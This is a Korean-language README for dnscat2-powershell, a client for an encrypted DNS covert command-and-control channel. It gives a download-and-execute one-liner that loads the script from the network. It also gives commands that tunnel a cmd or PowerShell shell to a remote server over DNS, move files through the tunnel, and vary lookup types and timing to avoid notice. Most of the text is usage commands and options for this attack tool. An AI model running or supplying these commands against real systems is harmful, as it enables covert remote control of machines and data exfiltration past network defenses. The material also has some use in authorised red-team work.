
dnscat2를 위한 Powershell 클라이언트, 암호화된 DNS 명령 및 제어 도구.
dnscat2는 @iagox86 (Ron Bowes)가 개발한 DNS 은닉 채널 도구로, DNS 요청을 통해 데이터를 전송하는 데 사용됩니다.
이것은 dnscat2 C 클라이언트의 PowerShell 버전입니다.
블로그 글에서 이 스크립트의 목적과 사용 방법에 대한 자세한 설명을 확인하세요.
이 스크립트를 사용하려면 Ruby dnscat2 서버가 필요합니다. 서버를 실행할 때 반드시 --no-cache 옵션을 추가하세요. 이 클라이언트는 서버의 캐싱과 호환되지 않습니다.
먼저 dnscat2 서버를 설치하세요. --no-cache를 사용하여 캐싱을 비활성화한 상태로 서버를 시작하세요. 서버 시작 명령은 다음과 같아야 합니다: ruby dnscat2.rb --dns="domain=example.com" --no-cache
다음으로 Windows PowerShell(버전 2.0 이상)을 실행하세요. 다음 명령을 사용하여 dnscat2 PowerShell 함수를 로드할 수 있습니다:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
Start-Dnscat2는 클라이언트로 사용되는 실제 함수입니다. -Domain을 사용하여 dnscat2 서버를 지정하세요.
명령 세션을 시작하고 포트 53의 8.8.8.8로 DNS 요청을 보냅니다:
Start-Dnscat2 -Domain <dnscat2 server> -DNSServer 8.8.8.8
cmd 셸을 보내고 Windows에 설정된 기본 DNS 서버로 DNS 요청을 보냅니다:
Start-Dnscat2 -Domain <dnscat2 server> -Exec cmd
콘솔 세션을 시작합니다. CNAME, MX, AAAA 요청만 사용합니다:
Start-Dnscat2 -Domain <dnscat2 server> -LookupTypes @("CNAME","MX","AAAA") -Console
세션을 암호화하지 않습니다. 암호화는 기본적으로 활성화되어 있습니다.
Start-Dnscat2 -Domain <dnscat2 server> -NoEncryption
클라이언트는 일반 dnscat2 명령 또는 해당 명령의 PowerShell 버전을 처리할 수 있습니다. 명령의 PowerShell 버전을 사용하려면 클라이언트가 감지할 특정 매개변수를 설정하세요(이는 서버의 명령 세션에서 실행되는 명령입니다):
ExecPS와 같이 PowerShell 셸을 시뮬레이션하는 새 세션을 시작합니다:
exec psh
서버의 app.exe를 $app PowerShell 변수에 저장된 16진수 문자열로 업로드합니다:
upload app.exe hex:$app
$app PowerShell 변수에 저장된 바이트 배열을 서버의 app.exe로 다운로드합니다:
download bytes:$app app.exe
-Domain <String> dnscat2 서버에서 사용 중인 도메인.
-DNSServer <String> DNS 쿼리를 보낼 호스트 이름 또는 IP 주소. (기본값: Windows에서 설정)
-DNSPort <Int32> DNS 쿼리를 보낼 포트. (기본값: 53)
-Command 명령 세션을 시작합니다. (기본값)
-Exec <String> 프로세스의 I/O를 Dnscat2 세션과 연결합니다.
-Console 콘솔의 I/O를 Dnscat2 세션과 연결합니다.
-ExecPS PowerShell 세션을 시뮬레이션하고 I/O를 Dnscat2 세션과 연결합니다.
경고: 종료하면 세션뿐만 아니라 전체 dnscat2 클라이언트가 종료됩니다.
-PreSharedSecret 서버에 동일한 비밀을 설정하여 인증하고 MITM을 방지합니다.
-NoEncryption 암호화를 사용하지 않습니다.
-LookupTypes <String[]> 무작위로 전환할 조회 유형의 배열을 설정합니다.
TXT, MX, CNAME, A, AAAA 레코드만 지원됩니다. 기본값: @(TXT, MX, CNAME)
-Delay <Int32> 각 요청 사이의 지연 시간(밀리초)을 설정합니다. (기본값: 0)
-MaxRandomDelay <Int32> 일반 지연 시간에 추가되는 무작위 지연의 최대값(밀리초)을 설정합니다. (기본값: 0)
-MaxPacketSize <Int32> dnscat2 패킷의 최대 길이. (기본값: 240)
-Name <String> dnscat2 세션의 이름. (기본값: 호스트 이름)
dnscat2-powershell은 서버의 데이터를 Invoke-Expression에 전달하여 PowerShell 세션을 시뮬레이션합니다. stdout만 반환되며, 클라이언트가 실행 중인 동안 변수가 유지됩니다. "exit"나 "break" 같이 PowerShell을 종료하는 작업에 주의하세요. 전체 dnscat2-powershell 클라이언트가 종료되며, ExecPS 세션만 종료되는 것이 아닙니다.